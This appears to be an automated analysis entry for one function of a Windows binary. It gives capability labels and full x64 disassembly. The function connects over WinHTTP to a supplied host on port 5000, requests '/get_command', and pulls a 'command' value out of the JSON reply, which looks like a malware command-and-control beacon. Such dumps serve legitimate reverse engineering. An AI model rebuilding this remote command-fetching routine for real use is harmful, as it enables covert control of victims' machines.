Function at 0x1400013d0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov rax, qword [0x140068040]
xor rax, rsp
mov qword [rbp + 0xd0], rax
mov r14, rdx
mov qword [rsp + 0x78], rdx
mov rbx, rcx
mov qword [rbp - 0x80], rdx
xor r15d, r15d
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400604c0]
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rdi, rax
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], 7
mov word [r14], r15w
mov dword [rsp + 0x40], 1
test rax, rax
je 0x140001a13
cmp qword [rbx + 0x18], 7
jbe 0x14000146b
mov rbx, qword [rbx]
mov r8d, 0x1388
xor r9d, r9d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rbx, rax
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140001a0a
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str._get_command
lea rdx, [0x1400604e8]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r13, rax
test rax, rax
je 0x140001a01
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1400019f8
xor edx, edx
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1400019f8
xor r14d, r14d
mov dword [rbp - 0x74], r14d
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r14b
nop
mov dword [rbp - 0x78], r14d
lea rdx, [rbp - 0x78]
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov ecx, dword [rbp - 0x78]
inc ecx
call fcn.14002d400
mov rsi, rax
mov r8d, dword [rbp - 0x78]
inc r8d
xor edx, edx
mov rcx, rax
call fcn.140051940
lea r9, [rbp - 0x74]
mov r8d, dword [rbp - 0x78]
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov edi, dword [rbp - 0x74]
mov rcx, qword [rbp - 0x60]
mov rdx, qword [rbp - 0x58]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x1400015a5
lea rax, [rdi + rcx]
mov qword [rbp - 0x60], rax
lea rbx, [rbp - 0x70]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x70]
add rbx, rcx
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
call fcn.1400512a0
mov byte [rdi + rbx], 0
jmp 0x1400015bc
mov qword [rsp + 0x20], rdi
mov r9, rsi
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp - 0x70]
call fcn.1400023d0
mov rcx, rsi
call fcn.14002d3cc
cmp dword [rbp - 0x78], 0
ja 0x140001520
lea rbx, [rbp - 0x70]
mov rdi, qword [rbp - 0x70]
mov rsi, qword [rbp - 0x58]
cmp rsi, 0xf
cmova rbx, rdi
mov r12, qword [rbp - 0x60]
cmp r12, 0xa
mov r14, qword [rsp + 0x78]
jb 0x1400019bb
lea r15, [r12 + rbx]
lea r8, [r15 - 9]
sub r8, rbx
mov rcx, rbx
mov edx, 0x22
call fcn.140051ce0
test rax, rax
je 0x1400019bb
movabs rcx, 0x646e616d6d6f6322
cmp qword [rax], rcx
jne 0x14000162d
cmp word [rax + 8], 0x3a22
je 0x14000163c
inc rax
lea r8, [r15 - 9]
sub r8, rax
mov rcx, rax
jmp 0x140001603
sub rax, rbx
cmp rax, 0xffffffffffffffff
je 0x1400019bb
lea rbx, [rax + 0xa]
lea r15, [rbp - 0x70]
cmp rsi, 0xf
cmova r15, rdi
cmp rbx, r12
jae 0x140001696
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp - 0x30]
call fcn.140051940
mov byte [rbp - 0xe], 1
lea rcx, [r12 + r15]
add rbx, r15
cmp rbx, rcx
jae 0x140001696
nop
movzx eax, byte [rbx]
cmp byte [rbp + rax - 0x30], 0
jne 0x14000179f
inc rbx
cmp rbx, rcx
jb 0x140001680
mov rbx, 0xffffffffffffffff
lea rdx, [rbx + 1]
lea r15, [rbp - 0x70]
cmp rsi, 0xf
cmova r15, rdi
cmp rdx, r12
jae 0x1400016f7
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp - 0x30]
call fcn.140051940
mov byte [rbp - 0xe], 1
lea rcx, [r12 + r15]
lea rdx, [rbx + 1]
lea r8, [r15 + rdx]
cmp r8, rcx
jae 0x1400016f7
nop dword [rax + rax]
movzx eax, byte [r8]
cmp byte [rbp + rax - 0x30], 0
jne 0x1400017a7
inc r8
cmp r8, rcx
jb 0x1400016e0
mov r8, 0xffffffffffffffff
cmp r8, 0xffffffffffffffff
je 0x1400019bb
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xor r15d, r15d
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], r15
cmp r12, rdx
jb 0x140001a46
sub r8, rbx
dec r8
sub r12, rdx
cmp r12, r8
cmovb r8, r12
lea rax, [rbp - 0x70]
cmp rsi, 0xf
cmova rax, rdi
add rdx, rax
lea rcx, [rbp - 0x50]
call fcn.140001290
mov dword [rsp + 0x40], 3
lea rcx, [rbp - 0x50]
mov r8, qword [rbp - 0x38]
cmp r8, 0xf
cmova rcx, qword [rbp - 0x50]
mov rsi, qword [rbp - 0x40]
add rsi, rcx
lea rbx, [rbp - 0x50]
cmp r8, 0xf
cmova rbx, qword [rbp - 0x50]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
cmp rbx, rsi
jne 0x1400017af
mov qword [rsp + 0x58], r15
mov eax, 7
mov qword [rsp + 0x60], rax
mov word [rsp + 0x48], r15w
jmp 0x1400018c7
sub rbx, r15
jmp 0x14000169d
sub r8, r15
jmp 0x1400016fe
sub rsi, rbx
mov edi, 7
mov qword [rsp + 0x60], rdi
movabs rax, 0x7ffffffffffffffe
cmp rsi, rax
ja 0x140001a4c
cmp rsi, rdi
jbe 0x14000187f
mov rdi, rsi
or rdi, 7
cmp rdi, rax
jbe 0x140001837
mov rdi, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x14000186e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001a52
mov rcx, rax
call fcn.14002d390
mov rcx, rax
test rax, rax
je 0x140001a58
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x60], rdi
jmp 0x140001884
mov eax, 0xa
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140001a52
add rcx, rcx
jne 0x1400017f5
mov rax, r15
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x60], rdi
jmp 0x140001884
call fcn.14002d390
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x60], rdi
jmp 0x140001884
mov rax, qword [rsp + 0x48]
lea r8, [rsp + 0x48]
cmp rdi, 7
cmova r8, rax
mov rcx, r8
mov rdx, rsi
test rsi, rsi
je 0x1400018b4
nop dword [rax]
movsx eax, byte [rbx]
mov word [rcx], ax
lea rcx, [rcx + 2]
lea rbx, [rbx + 1]
sub rdx, 1
jne 0x1400018a0
mov qword [rsp + 0x58], rsi
mov word [r8 + rsi*2], r15w
mov r8, qword [rbp - 0x38]
mov rax, qword [rsp + 0x60]
lea rcx, [rsp + 0x48]
cmp r14, rcx
je 0x14000193a
mov rdx, qword [r14 + 0x18]
cmp rdx, 7
jbe 0x140001914
mov rcx, qword [r14]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14000190b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001a58
mov rcx, r8
call fcn.14002d3cc
mov r8, qword [rbp - 0x38]
mov qword [r14 + 0x18], 7
movups xmm0, xmmword [rsp + 0x48]
movups xmmword [r14], xmm0
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [r14 + 0x10], xmm1
mov eax, 7
mov word [rsp + 0x48], r15w
cmp rax, 7
jbe 0x14000197b
lea rdx, [rax*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001972
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a58
call fcn.14002d3cc
mov r8, qword [rbp - 0x38]
cmp r8, 0xf
jbe 0x1400019b3
lea rdx, [r8 + 1]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a5e
call fcn.14002d3cc
mov rdi, qword [rbp - 0x70]
mov rsi, qword [rbp - 0x58]
cmp rsi, 0xf
jbe 0x1400019ee
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400019e6
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a40
mov rcx, rdi
call fcn.14002d3cc
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x68]
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rax, r14
mov rcx, qword [rbp + 0xd0]
xor rcx, rsp
call fcn.14002d370
mov rbx, qword [rsp + 0x230]
add rsp, 0x1e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140033154
nop
call fcn.1400022a0
nop
call fcn.140001210
int3
call fcn.140001170
int3
call fcn.140033154
nop
call fcn.140033154
int3